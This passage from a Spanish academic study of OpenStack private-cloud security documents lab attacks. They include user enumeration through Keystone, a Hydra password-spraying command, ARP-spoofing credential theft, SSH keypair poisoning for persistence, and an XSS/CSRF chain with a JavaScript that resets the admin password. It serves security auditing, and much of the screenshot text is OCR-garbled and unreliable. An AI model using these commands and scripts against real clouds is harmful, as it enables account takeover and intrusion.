resource_owner password credentials.py
refresh_token.py.dpkg-new
resource owner password credentials.py.dpkg-new

Figura 32: Intento de obtencién de secretos en volumen de almacenamiento

5.1.3. Escape de maquina virtual

Una de las funciones del software del hipervisor (gemu-kvm por defecto en OpenStack)
es aislar el entorno de las maquinas virtuales, de forma que una no pueda acceder a
contenido de memoria de otra, o al del host de virtualizaciéon. Periédicamente aparecen
vulnerabilidades que permiten sortear este mecanismo de aislamiento y acceder a areas de
memoria restringidas.

Este tipo de vulnerabilidades sin embargo suelen requerir condiciones muy especificas
para su explotacion, y en muchas ocasiones tampoco existen exploits publicos para las
mismas. Por ejemplo, para la version instalada en el entorno de pruebas se encontraria
presente la vulnerabilidad CVE-2020-14364 [25|, pero por las razones indicadas no ha sido
posible llevar a cabo su explotacion.

También se conocieron hace relativamente poco ciertas vulnerabilidades como Meltdown
0 o Spectre [26] que explotaban una técnica de optimizacion de las CPUs Intel conocida
como ejecucion especulativa. Supuestamente seria posible mediante las mismas acceder a la
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memoria del host de virtualizacion, pero de nuevo, debido a su complejidad y a que en el
momento de instalacion del laboratorio estas vulnerabilidades ya estaban corregidas no ha
sido posible llevar a cabo su explotacion.

En cualquier caso, es recomendable durante una auditoria comprobar que la version del
hipervisor o del kernel no posee ninguna vulnerabilidad de este tipo, ya que un atacante
bien motivado que disponga de medios (como un APT) podria tratar de explotar las mismas.

5.2. Con conectividad a la plataforma

En caso que el atacante disponga de conectividad a la plataforma, bien porque haya
llegado a una red desde la que pueda tener conexiéon, o bien porque haya accedido a una
instancia desde la que pueda alcanzar el sistema de gestion de la nube, la superficie de
ataque se expandira y podrén tener lugar otro tipo de ataques.

En este apartado se discutiran dichos ataques, algunos de los cuales seran tipicos también
de otros entornos, aunque se trataran de orientar especificamente a nubes OpenStack.

5.2.1. Enumeracion de usuarios

Por lo general, cualquier aplicacion o web que requiera un login de usuario, deberia
mostrar un mensaje genérico de error en caso que el usuario y/o la contrasena sean
incorrectos, de forma que no se proporcionen pistas acerca de si un usuario existe o no.

En el caso de OpenStack esto se cumple por lo general, por ejemplo si se trata de acceder
a la interfaz web con un usuario inexistente se muestra un mensaje genérico de error como
el que se muestra a continuacion:

openstack.

Log in

Invalid credentials.

User Name

Password

Figura 33: Mensaje genérico con credenciales invalidas
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Atacando directamente a la API también se proporciona un mensaje de error genérico
indicando que se necesita autorizacion para acceder. Sin embargo, se ha detectado que el
tiempo de respuesta parece ser bastante superior cuando se trata de realizar un login con un
usuario existente que con otro no existente:

Send Cancel < v >|r Target: http://192.168.110.23:5000 f @
-
Request Response ==
Raw | Params | Headers | Hex Raw | Headers | Hex
\n Actions v Raw Render \n Actions v
1 POST /w3/auth/tokens HTTP/1.1 & 1 HTTP/ 1.1 401 Unauthorized 3
2 Host: 1892.16&8.110.23:5000 r 2 Date: Fri, 04 Dec Z02Z0 12:35:17 GMT r
3 Accept-Encoding: gzip, deflate 3 Server: Apache
4 Accept: application/Jjson 4 Vary: X-Auth-Token
5 Connection: close 5 x-openstack-request-id: req-=£3875b2-0beB-4742-88b3-f5f813 162273
£ Content-Type: application/json £ WWW-Authenticate: Keystones uri="http://182.168.110.23:5000"
7 Content-Length: 137 7 Content-Length: 114
8 S Connesction: close
R 9 Content-Type: application/json
Tauth™: { Lo
"identity":{ Ll A
"methods "error":{
"password" "message":"The reguest you have made requires authentication.",
1. meade": 401,
"password":{ "title":"Unauthorized"”
Tuser”: | }
"password":"", ]
"name": "admin",
"domain": {
"name": "Default"
}
}
}
+
1
¥ b b
v A
@I{:Q} “ (| => 0 matches @@ liJ liJ 0 matches
nsbyees

Figura 34: Tiempo de respuesta de API para usuario existente

Send cancel | [ < v >|v Target: http://192.168.110.23:5000 & (3)
= =u
Request Response u =
Raw | Params | Headers | Hex Raw | Headers | Hex
\n Actions v \n Actions v
1 POST /w3/auth/tokens HTTP/1.1 A L HTTP/1.1 401 Unauthorized A
2 Host: 192.1e8.110.23:5000 r Z Date: Fri, 04 Dec 2020 12:34:05 GHT r
3 Accept-Encoding: gzip, deflate 3 Server: Apache
4 Accept: application/json 4 Vary: K-Auth-Token
5 Connection: close 5 x-openstack-request-id: req-8c03a3f8-0lef-4fa5-9b59-3acShdlecell
£ Content-Type: application/json £ WWW-Authenticate: Keystone uri="hccp://192.16&8.110.23:5000"
7 Content-Length: 138 7 Content-Length: 114
g © Connsction: close
@ { S Content-Type: application/Json
Tauth': { 10
"identicy":{ 11{
"methods [ "error':q{
"password" "message":"The request you have made requires authentication.",
1, "code: 401,
"password™: { "title™: "Unauthorized"”
ruser:q F
"password”:"", }
"name":"adminl",
"domain:{
mame":"Default"
}
+
}
}
}
¥ = b
v v
@@ «||=> 0 matches @@ €« || = | |search... 0 matches
415 bytes |8? millis

Figura 35: Tiempo de respuesta de API para usuario no existente
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Puede observarse que el tiempo de respuesta para un usuario existente es del orden de
cientos de milisegundos, frente a decenas en caso de un usuario inexistente. Aunque en el
entorno de pruebas las peticiones puedan ser bastante lentas en comparaciéon con un entorno
de produccioén, en una nube real se producird un efecto similar con menores tiempos. Lo
adecuado sera realizar mediciones de tiempo con usuarios aleatorios, y luego comprobar
posibles usuarios reales para medir desviaciones sobre la media de tiempo obtenida.

También se ha podido observar que construyendo una peticion similar utilizando el tipo de
autenticacion “application credential” en lugar de “password” es posible obtener un mensaje
que indica explicitamente si un usuario no existe (codigo de peticion en anexo |B.1)):

Request Response el =

Raw | Params | Headers | Hex Raw | Headers | Hex
EEq rev 0 Actions v E= rev render o Actions v

1 POST /w3/auth/tokens HTTP/L.1 4 | HTTP/L.l 401 Unauthorized
2 Host: 192.168.110.23:5000 r 2 Date: Fri, 04 Dec 2020 12:44:26 GMT
3 Accept-Encoding: gzip, deflate 3 Server: Apache
4 Accept: application/json 4 Vary: H-Auth-Token
5 Connection: close 5 x-openstack-request-id: reqg-febaallb-=25fa-4942-bk41-839935d86138
£ Content-Type: application/json £ WWW-Authenticate: Keystons uri="http://192.168.110.23:5000"
7 Content-Length: 13 7 Content-Length: 114
B 2 Connection: close
9 S Content-Type: application/json
"auth": { 10
"identity™:{ R
"methods": [ ferror":{
"application credential” "message”:"The recuest you have mads requires authentication.",
1. "eode™:401,
"application_credential™:{ "title":"Unauthorized"
rusert: | }
"name™: "admin”, 1
"domain®: {
"name': "Default"
+
Ty
MhameT: oo
1
}
}
} b
Figura 36: Respuesta para usuario existente usando application  credential
Request Response el =

Raw | Params | Headers | Hex Raw | Headers | Hex
Raw \n Actions w Raw Render \n Actions w

POST /w3/auth/tokens HTTP/L.l HTTP/1l.1 404 Not Found

Host: 192.16B8.110.23:5000 Date: Fri, 04 Dec Z0Z0 12:47:04 GHT

Aceept-Encoding: gzip, deflate 3 Server: Apache

Acecept: application/Jjson Vary: X-Auth-Token

Connection: close x-openstack-request-id: req-f47Zeg55-Bacf-4£fdd-9355-€h4B8135chead
Content-Type: application/json & Content-Length: B89

e
T
e

-
S

wn
n

7 Content-Length: 1&4 7 Connection: close
8 2 Content-Type: application/json
9 /{ =]
"auth": { o
"identity":{ "error™:q
"methods™: [ "message™:"Could not find user: admlnj.r’,
"application credential" "code":404,
1. "title™:"Not Found"
"application credential':{ 1
Muser”:{ 1
"nams":"adminl",

"domain: [
"nams";:"Defaulc”
}
T
Mhame": TEoo
}
}
}
} b

Figura 37: Respuesta para usuario no existente usando application_ credential
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5.2.2. Obtencion de contrasena mediante diccionario

Tras haber llevado a cabo una enumeraciéon de usuarios exitosa, un atacante podria
continuar esta via de ataque y tratar de obtener una contrasena valida para alguno de los
usuarios obtenidos mediante fuerza bruta o diccionario. Generalmente el segundo método
serd mas efectivo, ya que los ataques de fuerza bruta a través de la red requeriran muchas
més peticiones y por tanto serdn mas lentos y llamaran mas la atencion.

Existen varias estrategias para abarcar estos ataques: por un lado estd la posibilidad
de emplear un diccionario més o menos extenso para un conjunto reducido de usuarios, o
también existe la posibilidad de realizar password spraying, que consistira en probar una
misma contrasena para un nimero elevado de usuarios. Este tltimo método suele funcionar
ya que generalmente siempre existe algiin usuario que emplea algin patréon predecible para
generar su contrasenia empleando el mes o la empresa y el ano. Ejemplos: Octubre2020,
Uned2020, etcétera...

En una nube OpenStack con una configuracién por defecto no se limita el nimero de
intentos fallidos de login por usuario, con lo que es posible llevar este tipo de ataques sin
que el sistema de nube bloquee el acceso. Si que existe un parametro de configuracion de
Keystone (lockout failure attempts) para bloquear el acceso tras una serie de intentos
fallidos, pero hay que configurarlo explicitamente.

Si se esta llevando a cabo una auditoria de seguridad sera recomendable consultar
antes si estd configurado el bloqueo de usuarios para evitar impactar el acceso de
los usuarios en produccion. Para estos casos se podra realizar uno o dos intentos de
password spraying, un numero siempre inferior al limite en que se produzca el bloqueo.
En caso que no esté habilitado se podra probar un mayor ntimero de contrasenas por usuario.

Llevar a cabo este tipo de ataques sera posible tanto a través de la interfaz web como de
la API de autenticacién, aunque lo méas comodo sera lo segundo ya que el tiempo empleado
por cada intento sera ligeramente inferior. Para el ataque en si se puede emplear el mismo
Burp Suite empleado para analizar el trafico, o también otras utilidades como Hydra [27],
disenada para llevar a cabo ataques de fuerza bruta.

En la siguiente captura se podran observarse inicialmente dos ficheros “users” y “passes”
con un listado de posibles usuarios y contrasenas a probar. Después podra observarse la
linea de ejecucién de Hydra, en la que se proporcionan estos ficheros, la URL a atacar, el
objeto JSON que enviar mediante peticion POST (introduciendo los valores “"USER"” y
“"PASS"” donde se quiera introducir el usuario y la contrasena), un texto que aparezca
en los mensajes de respuesta de los intentos fallidos para identificarlos, y finalmente una
cabecera indicando que es un objeto tipo JSON. Podra verse como se han localizado dos
usuarios “demol” y “demo2”, ambos con contrasena “openstack”.
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# cat users

admin

openstack

eblazquez

arobles

esancristobal

demol

demo2

demo3

#

[# cat passes

admin

openstack

demo

Uned2620

Octubre2020

#

# hydra -L users -P passes 'http-post-form://192.168.110.23:5000/v3/auth/tokens:{"auth"\:{"identity"\:{"methods
"\:["password"],"password"\:{"user"\:{"password"\: "~ PASS*", "name"\:"~USER~","domain"\:{"name"\:"Default"}}}}}}:
The request you have made requires authentication:H=Content-Type\: application/json' 2>/dev/null

Hydra v9.u (C) ZULlY DY van Hauser/THC - Please do NOoT Use 1n milltary or secret service organizatlons, or Tor 1
llegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-12-04 17:13:14

[DATA] max 16 tasks per 1 server, overall 16 tasks, 40 login tries (1:8/p:5), tries per task

[DATA] attacking http-post-form://192.168.110.23:5000/v3/auth/tokens:{"auth"\:{"identity"\:{"methods"\:["passwo
rd"]1,"password"\:{"user"\:{"password"\:"~PASS"", "name"\:"~USER™","domain"\:{"name"\:"Default"}}}}}}:The request
you have made requires authentication:H=Content-Type\: application/json

[ 110 ] host: login: password:

[ 110 ] host: login: password:

Figura 38: Ejemplo de obtenciéon de contrasena mediante diccionario con Hydra

5.2.3. Robo de credenciales mediante ARP spoofing

Para este tipo de ataques més que conectividad con la plataforma habria que tener
conectividad con algtin puesto de trabajo que tenga conectividad también a la nube. De esta
forma, seria posible realizar un ataque de tipo Man-in-the-middle, suplantando el punto
de acceso al que conecta el usuario para obtener la comunicacion entre él y la plataforma,
pudiendo llegar asi a obtener credenciales de acceso.

Como ya se ha indicado anteriormente, este tipo de ataques suelen ser disruptivos,
aunque sera bastante menos probleméatico ocasionar problemas de conectividad a un usuario
que provocar la pérdida de conectividad de una instancia que pueda estar dando servicios
en produccion.

Ya se comenté en las consideraciones iniciales que los servicios de la nube son
proporcionados por defecto mediante HT'TP, con lo que sin ninguna configuracién adicional
el trafico viajara por defecto en claro. Teniendo en cuenta que cualquier peticion del cliente
de linea de comando envia siempre las credenciales antes de realizar una peticion, solo
faltaria esperar que el usuario ejecutara cualquier comando para obtener dichas credenciales.

En la siguiente captura de pantalla puede observarse un ejemplo de robo de credenciales
mediante ARP spoofing. La prueba se ha realizado mediante dos maquinas virtuales en un
mismo segmento de red, en la que una realiza una solicitud a través del cliente openstack y
la otra realiza el ataque indicado:
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-
1 debian10-2 on QEMU/KVM - % l
File VirtualMachine View SendKey

= g =] = 0 v~ & L=l

t.method == " -e 'http.file_data' -T j

Figura 39: Robo de credenciales mediante ARP spoofing

En la pantalla de la méquina atacante (lado derecho) puede observarse la ejecucion
del comando arpspoof (lanzado en background), que enviard peticiones ARP a la maquina
victima y al gateway de la red para forzar que todo el trafico entre ambas pase por la
maquina atacante. Posteriormente se ejecuta la herramienta tshark (similar a Wireshark
pero en linea de comando) para capturar los datos de todas las peticiones HTTP POST en
el puerto 5000 (Keystone), obteniendo asi las credenciales de administrador en este caso.

Para este proyecto la instalacion se ha realizado sin certificados ni cifrado HTTPS. Hay
que indicar también que en este tipo de nubes privadas, al tratarse de entornos mas o menos
de confianza, es habitual el uso de comunicaciones sin cifrar, o de certificados autofirmados
o de una CA propia. En este ultimo caso, al acceder al sistema de nube, por ejemplo por
navegador, se mostraria una advertencia indicando que el certificado es de confianza.

Para estas situaciones es posible también realizar ARP spoofing, y combinarlo con
alguna utilidad que haga las veces de proxy (como mitmprozy) y “rompa” el tinel TLS entre
cliente y servidor. De esta forma, el usuario recibird también una advertencia de seguridad
al no confiar en el certificado del proxy, y que al aceptar provocara que el atacante pueda
visualizar el trafico entre cliente y servidor.

5.3. Usuario de la plataforma

En este apartado se discutiran posibles ataques a llevar a cabo desde el punto de vista
de un usuario de la plataforma, es decir, habiendo obtenido unas credenciales validas en el
sistema de gestion de la nube. Segun el tipo de credencial obtenida el objetivo del ataque
podréa ser diferente: por ejemplo con una credencial estandar interesara obtener credenciales
de administrador, y con una credencial de administrador el objetivo sera ganar persistencia
en el sistema.

No se tendran en cuenta ataques tipo denegacion de servicio que consistan Gnicamente
en detener/eliminar instancias, voltimenes, etcétera, puesto que se trata de acciones sencillas
que no tienen mayor relevancia.
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5.3.1. Explotaciéon de errores de configuraciéon en roles

Como ya se ha comentado anteriormente, cada usuario puede tener una asignaciéon
de roles dentro de los diferentes proyectos. El rol mas habitual sera el de “miembro”,
aunque existirdn una serie de usuarios con un nivel mayor de privilegios que tendran rol de
administrador. El rol de administrador puede dar lugar a confusion, ya que aunque se puede
asociar a diferentes proyectos una tnica asignacion convertird al usuario en administrador
de toda la plataforma.

Suponiendo por ejemplo que en una nube existen dos proyectos: uno utilizado por el
departamento de desarrollo y otro por el de sistemas, que se encarga de administrar la
plataforma. Es posible que se plantee que ciertos usuarios del departamento de desarrollo
puedan crear usuarios para su equipo de trabajo y se les proporcione rol de administrador
en su proyecto. Esto seria un error, ya que esta asignaciéon provocaria que los desarrolladores
pudieran administrar la plataforma en su conjunto (para esta casuistica habria que
segmentar la nube en diferentes dominios).

Por tanto, si se han obtenido unas credenciales de un usuario al que por error se le han
asignado roles de administrador sera posible asignarse permisos en nuevos proyectos, crear
nuevos usuarios administradores, etcétera. En la siguiente captura puede observarse como el
usuario “demo2” tiene asignados los roles “admin” y “member” tinicamente para el proyecto
“demo™

# openstack role assignment list --user demo2
R R R PR TR e R e e oo +
| Group | Project | Domain | System | Inherited
+ +

————————————— Focc oo e e e e R
| False
| 2d3df2ea2634412d 3h 84 | False
,,,,,,,,,,,,, o s s 495 1 a5

Figura 40: Asignacion de roles de usuario demo2

Puede observarse que igualmente dicho usuario tiene acceso a la secciéon de administracion
de la plataforma y obtener por ejemplo informacion de los diferentes hipervisores de la nube:



61 Seguridad en nubes privadas basadas en OpenStack

=openstack. =demo~ & demo2 +

Project
Admin / Compute / All Hypervisors

Admin v

o All Hypervisors

Compute v

Host Aggregates '
Instances
Flavors

VCPU Usage Memory Usage Local Disk Usage

Images Used 4 of 4 Used 4GB of 7GB Used 8GB of 98GB

Volume > Hypervisor Compute Host
Network >
Displaying 2 items
System >
Host 5 VCPUs VCPUs RAM RAM Local Storage Local Storage Inst
Identiy > esiname YPE (used) (total) (used)  (total) (used) (total) nstances
overcloud-novacompute-0.la
Workflow > o "1‘1‘1“ acompuie-0lo ppvyy o 2 2GB 3G8 4cB 49GB 2
overcloud novacompule Lo gy 2 268 4GB 4GB 49GB 2

caldomain

Displaying 2 items

Figura 41: Acceso a secciones de administracion con el usuario demo?2

Durante una auditoria habra que asegurarse que los usuarios que debieran disponer
de pocos privilegios no tienen asignado ningin rol que les permita realizar acciones de
administracion.

5.3.2. Envenenamiento de pares de clave

Como ya se indicd en el apartado de consideraciones, la conexiéon a las instancias
se realiza mediante pares de clave privada/publica, que podran crearse en OpenStack o
importarse directamente. En este apartado se describirda un método para ganar persistencia
en la nube, una vez se hayan conseguido unas credenciales de acceso, a través de pares de
clave.

Por lo general, el usuario tendra para su proyecto uno o varios pares de clave registrados,
que podran asociarse a cada una de las instancias. Es posible asociar dos pares de claves a
la misma instancia, de forma que se pueda conectar usando dos claves privadas diferentes.

Para este trabajo se ha podido comprobar que es posible también insertar dos
claves puiblicas dentro de un mismo recurso de tipo par de claves. De este modo, un
atacante con credenciales en la nube podria reemplazar cada recurso de par de claves
por otro con el mismo nombre que incluya la clave publica original, asi como otra de su
eleccion. Asi el atacante podria ganar y mantener el acceso a las instancias que se vayan
creando con este par de claves, generalmente sin que el usuario original repare en este ataque.
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En la siguiente captura de pantalla puede observarse la creaciéon de un recurso de par de
claves “envenenado” con dos claves publicas, la original utilizada por el tenant de prueba y
otra simulando una clave de un usuario malicioso:

Importar clave pablica

Nombre de Par de Claves *

evl R

CargarClave Publica desde un fichero

Browse... No file selected.

Clave Publica * (Modificade) Tamano del contenido: 789 bytes de 16.00 KB

BTh43X bXd1DZ4
wio8CsCPuJ10OR6nED

mluiJanMFIThaoK
B G2naTSTEgZbuly3MNX
8I/'Spt5L8hhUZIJu1 A6

0iHyuSle 7ThZtuy+C
bpcZJ0stZrPd
Bdte2tqhFGhOn

RZNSkibSZFVi
eZWarmX2RguO3+lslOMtjBR

(4+RgG3 evil-user

Figura 42: Creacion de par de claves envenenado

En la siguiente captura se puede comprobar como ambos pares de claves aparecen en el
fichero authorized_keys de una instancia creada con dicho par de claves:

Tsopenstack. =demo-~ Clerril =
Proyecto
Proyecto / Compute / Instancias / test-keypair
Acceso a la APl
Compute . lest-keypair rear nsiantanea | =

Visién general

Instancias

Log Consola

Consola de la instancia

Imagenes
Pares de claves Si la consola no responde al teclade: haga click en la siguiente barra gris. Haga click aqui para mostr
Para salir del modo a pantalla completa, haga click en el botén de pagina anterior del navegador.
Volimenes >
Red > Connected (une pted) to: QEMU ts 00000010 Send CtrlAltDel
Orquestacion > 9 cd .ssh

$ cat authorized_keys

ssh-rsa AAAAB3NzaClycZEARAADAQABAAABADDUMAL jXdtJSieZgJ2TGnAXxggbviKtSFX+0zT+XKxs
Identity > HBgrggUSXB2ZatLBTh43XadwubXd 10242 1EUD jdAZcwWOLMADS5kGgXokh A9rHUNHmZWioBCsCPud 10R6
nEb1xa0g16bQ3unxCCydq4J3gSiinkvLInQtUtUdBVBf c6E-/EPgyGYZP ivRxoaXXk/BFPUOY50+tUr0tE
bphoZs jtsO0PeLuSATgDF [4X/Hur iPXugt13-7uiNMHgd jz 19p9qHrQSuYx4dmWWpbuzDUyek IAWpnd t3

W o
Workflow 4 BGeIEIUWtZuFOYqZ65GT116 IFZu 82uD +kayXT+03Kkm/XzHC/ZdZxZgqadE j Generated-by-Nova

ssh-rsa AAAAB3NzaClycZEAAAADARABAAABAQC3V /UnopmIuiJanMF 1 ThaoK@gxDMCAUbSdgp5ulZ66
EiVGAgEVuf jiOKbo6DGZnaTS7EgZbu Iy3MNXbn IAVUWE h jngD1iYV jYKkCIMIhAZ6 - mOgY8 I SptSLEBh
hUZ1JulA6-bnDhuEVZQGrbDnLa/BiHyuSIe?hZtuy+03UU6019xSuzeRZNSkibSZFUi 1ullFzK4dukbya
F/IbpcZJ0stZrPdisnyalyd1DoobWXeZWyrmXZRgu03+f [s10Mt jBRFS51Z0mBdteZtqhFGhOnkt 180m
gkti'u?geuszZBQUB/LSiQSurRTnFU?i‘UuumSR+/DanD00qus ICx1+RgG3 evil-user

Figura 43: Comprobacion de par de claves envenenado en fichero authorized_ keys
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Finalmente en la siguiente imagen puede comprobarse que con dos claves privadas
diferentes es posible conectar a la instancia mediante SSH:

# head -n2 evil-keypair demo-keypair
==> evil-keypair <==

BEGIN RSA PRIVATE KEY
MIIEogIBAAKCAQEAt1f1J6KZiloiWpzBZU4WqCtIMQzAgFWOnYKebtWeuhI1RgKh

==> demo-keypair <==
BEGIN RSA PRIVATE KEY

MITIEogIBAAKCAQEA1jAJY13bSeYnmaidkxpwF8YKurdireRV/js0/1lysbBwYKAK1
#

# ssh -1 demo-keypair root@l92.168.110.247 "hostname"
test-keypair

# ssh -i evil-keypair root@l92.168.110.247 "hostname"
test-keypair

Figura 44: Ejecucion de comando hostname mediante SSH con dos claves privadas

Para que este ataque sea efectivo, el atacante deberé eliminar el par de claves original y
generar el par de claves malicioso con el mismo nombre, ya que no pueden existir dos pares
de claves con el mismo nombre. En una auditoria de seguridad habré que tener cuidado si
se lleva a cabo esta técnica, ya que no incluir adecuadamente la clave publica original podra
provocar la pérdida de acceso del usuario legitimo a las nuevas instancias que genere.

5.3.3. Cross-Site Scripting / Cross-Site Request Forgery

Como se indico en el apartado de consideraciones, es complejo que se puedan producir
ataques de tipo XSS o CSRF a través de la interfaz web de Horizon, ya que Django
proporciona mecanismos para mitigar este tipo de vulnerabilidades. Sin embargo eso no
quita que los componentes web estén exentos de las mismas, ya que en ocasiones pueden
surgir errores de programaciéon en componentes menos conocidos que den pie a posibles
vulnerabilidades como las mencionadas.

Para este trabajo se queria estudiar el caso del CVE-2017-18635 [28], una vulnerabilidad
de tipo XSS reflejado que aunque se descubri6é en 2017 no fue solventada por Red Hat hasta
este ano (codigo de errata RHSA-2020:0754 [29]), y que estd presente en la instalacion
realizada en el entorno de pruebas. Esta vulnerabilidad permite inyectar codigo JavaScript
a través del proxy VNC que muestra las consolas de las maquinas virtuales a través del
portal web.

La prueba de explotacion se ha llevado a cabo mediante la PoC' de ShielderSec disponible
en GitHub [30]. Esta PoC' desarrollada en Python levanta un servidor que comunicara
mediante WebSocket con el servidor de proxy VNC de OpenStack, usando para ello el
parametro host en la URL. Habra que generar para ello un enlace en el que dicho parametro
apunte a la IP de un servidor controlado por el atacante y distribuir este enlace a la victima,
lo que generalmente se llevara a cabo mediante phishing.



Seguridad en nubes privadas basadas en OpenStack 64

En la siguiente captura puede observarse la ejecucion de dicha PoC' sin modificar. En la
parte superior se observa la consola con la ejecucion del médulo websockify de Python, que
traducira la comunicacion del script a protocolo WebSocket, y la ejecucion del script de la
PoC' en si. En la parte inferior se observa la ejecucion del script inyectado, que consiste en
mostrar un alert con el contenido del localStorage de JavaScript (vacio en este caso):

# python3 -m webhsockify 6080 127.0.0.1:5902 >/dev/null 2>&1 &
[1] 25166
# python3 cve-2017-18635.py >/dev/null 2>&1 &

[2] 25167
# (]

10VNC - Mozilla Firefox (Private Browsing)
Edit View History Bookmarks Tools Help
NC x |+

[ © & 192.168.110.23:6080/vnc_auto.html?host=192,168.1.51 fd

Figura 45: XSS usando PoC' sin modificar para vulnerabilidad CVE-2017-18635

Los ataques de XSS en general suelen utilizarse para robar la cookie de sesion de un
usuario. Sin embargo en la interfaz web de OpenStack hay un problema, y es que la cookie
sessionid estd configurada con el atributo HttpOnly, con lo que no es posible obtener la
misma mediante funciones JavaScript:

v E Cockies Name Value Domain Path Expires | Max-Age Size HttpOnly Secure  SameSite  LastAccessed
@ http:f192.168.110.23:6080 csrftoken  yIXUKOKttZuulYytz. 192.168.110.23 |/ Session 73 | false false MNone Sat, 19 Dec 2020 16...
» E Indexed DB legin_do... 192.168.110.23 | [ Sun, 19 Dec 202115... |12 | false false Mone Sat, 19 Dec 2020 16
login_re "http/192168120.42:. . 19216811023 Sun, 19 Dec 202115... 40 | false false MNone Sat, 19 Dec 2020 16
3 E Local Storage ’
SERVERID | overcloud-controller-0... | 192.168.110.23 | [ Session 54 | false false MNone Sat, 19 Dec 202016
f

» [ session Storage

. 192168.110.23 Sat, 19 Dec 2020 16... 4 e Sat, 19 Dec 2020 16...
tabs %7B%22instance_det... 192.168.110.23 [dashbo... Session 69 | false false None Sat, 19 Dec 2020 16....
token 55be3caa-9fc0-4fb6-b... 19216811023 / Sun, 20 Dec 20201... 41 | false false Mone Sat, 19 Dec 202016...

Figura 46: Configuraciéon de cookies en interfaz web Horizon

Por otro lado, puede observarse que la cookie csrftoken no dispone de dicho atributo,
y por tanto puede recuperarse la misma mediante codigo JavaScript. Esto abre la puerta
a otros ataques de tipo CSRF, que consisten en forzar al usuario legitimo a llevar a cabo
acciones no deseadas haciendo uso de su sesion.

En este momento hay que indicar que este tipo de ataques se han encuadrado dentro del
apartado de ataques que requieren de un usuario, puesto que muchas de las posibles acciones
que se quieran llevar a cabo necesitaran hacer uso de IDs de recursos, y la obtencion de
dichos IDs requeriréa generalmente de credenciales en la plataforma. Es por tanto que este
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tipo de ataques seran tutiles cuando se disponga de un usuario poco privilegiado en la nube
y se desee obtener un acceso de administrador.

Para obtener acceso de administrador existiran dos métodos: o bien asignar un rol de
administrador a un usuario del que se dispongan de credenciales o bien obtener credenciales
de un usuario que ya tenga asignado dicho rol. Como ya se indic6 en el apartado de
obtencion de identificadores [4.3.2] no ha sido posible obtener el ID del rol administrador
mediante un usuario no privilegiado, asi que habra que optar por la segunda via. Ademas,
no hay forma de recuperar la contrasena de un usuario existente, asi que la tnica posibilidad
seréd forzar al usuario a que modifique su contrasena por una elegida por el atacante.

En la siguiente captura puede observarse que el cambio de contrasena es posible, ya que un
usuario administrador no necesita la contrasena antigua para cambiar la misma (incluyendo
para su propio usuario):

&« C o © | £ 192.168.110.23/dashboard/identity/users/2a09da2941ef492 + & ¢ In @ ¢

Change Password

Password *

Description:

08000000 00000000000000000
Change user's password. We highly recommend you
Confirm Password * create a strong one.

CPR0RNENNINNNN00000000

User Name

admin

Figura 47: Pantalla de cambio de contrasena de usuario admin

A continuacién puede observarse la peticion de cambio de contrasena, capturada mediante
Burp para su analisis:

/ Request to http://192.168.110.23:80

| Forward | \ Drop \ \ Action \ | Open Browser | | Comment
Pretty \n  Actions v

1 POST /dashboard/identity/users/Za09daZ941e£4924b0% 6008aéBe43ab/change_password/ HTTP/L1.1
2 Host: 182.168.110.23

3 User-Agent: Mozilla/5.0 (X1l; Linux x86_£4; rv:82.0) Gecko/20100L0L1 Firefox/82.0

4 Accept: W

5 Accept-Language: en-US,en;g=0.5

£ Accept-Encoding: gzip, deflate

7 Content-Type: application/x-www-form-urlencoded: charset=UTF-8

5 X-Requested-With: XMLHttpRequest

© Content-Length: Z3&

10 Origin: htop://182.166.110.23

1l DNT: L

12 Connection: close

13 Referer: http://192.168.110.23/dashboard/ identity/users/2a09da2941=£4924b092£008a68e43ab/ detail/

14 Cookie: csrftoken=qw95533ndgiBd4uvD]laxySJIyPTi7aEwlqWoL 105K y3 XNpmi Mhbh9ThrnGHv LKu; SERVERID=
overcloud-controller-0.internalapi.localdowain; login_region="http://192.1€8.120.42:5000";
login_domain=; token=55be3caa-9fcO0-4fbE-bld0-3eba7b035434; sessionid=
ve2s3gybhnaasrBhlné2xajvo559kiuT

15

1 esrfmiddlewaretoken=g¥TgGqComlYtxnkf0TonsVoOjusheleny353G2z25533sv0OwC IRUO75WYSnM4Chqgt vifake _smail=g&
fake_password=&id=Ial%dazS41ef4524b0SeE008acBe43abépassword=ME4fyzTwDsImEBYHYP4rEXZN] &
confirm password=ME4fyz7wDsImEByHYE4rEXZM] ename=acdmin

Figura 48: Peticion de cambio de contrasena capturada en BurpSuite

Como puede observarse en la tltima imagen, la peticion de cambio de contrasena
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requiere de varios elementos: la cookie de sesién (que serad incluida automaticamente en
las peticiones de un usuario legitimo), el token CSRF en el parametro csrfmiddlewaretoken
(obtenido mediante el XSS), el id del usuario admin (obtenido como se indica en el apartado
de enumeracion), la contrasena (elegida por el atacante) y el nombre del usuario para
el que se realiza el cambio (admin por defecto u obtenido mediante enumeracion de usuarios).

Con toda esta informaciéon es posible construir el ataque completo que incluya el cambio
de contrasena. Para ello se construird un fichero JavaScript que obtenga el token CSRF,
construya un formulario con dicho token y el resto de datos para realizar el cambio de
contrasena, y auto-envie el formulario tras su generacion. Después se servira por web dicho
fichero JavaScript (por ejemplo con el modulo http.server de Python), y se modificara la PoC'
para que en el c6digo inyectado se incluya el fichero js con el c6digo de cambio de contrasena.

En la siguiente captura puede verse en la consola el contenido de un script de ejemplo para
realizar el cambio de contrasenia (disponible en el anexo , asi como la ejecucion de los
servidores websockify y hitp.server, y la PoC' en Python. En el navegador puede observarse
que tras acceder a la URL maliciosa (en la barra de direcciones) el cambio de contrasefia se
lleva a cabo de forma satisfactoria:

# cat change_pass.js

csrf=document.cookie.substr(document.cookie.search('csrftoken')+10,64);

var myform = document.createElement('form');
myform.method="'post"';
myform.action="http://192.168.110.23/dashboard/identity/users/2a09da2941ef4924b09e6008a68e43ab/change password/’

var parameters = { Login - OpenStack Dashboard - Mozilla Firefox (Private Browsing)

‘csrifmiddlewaretoken' : csrf,

'fake_email' :

'fake password' B

'id' : '2a09da2 ef4924b09%e6008ab8e43ab’,

File Edit View History Bookmarks Tools Help

£ Login - OpenStack Dashl % | +

‘password’ : ‘'evilpass', « ¢ @ http://192.168.110.23:6C auto.htm
‘confirm_password' : 'evilpass',
‘name’' : ‘admin’
} e
. H N
for (p in parameters) { . '
var new_param = document.createElement('input');

new param.typ idden"';

new_param.name= 0 enstacy
new_param.value=parameters[p]; @

myform.appendChild (new param) ;

}

Log in
document.body.appendChild(myform);
myform.submit();
#
# python3 -m websockify 6080 127.0.0.1:5902 >/dev/null 2>&1 & Password changed. Please log in o continue.
[1] 26523
# python3 -m http.server >/dev/null 2=&1 &
[2] 26524 User Name

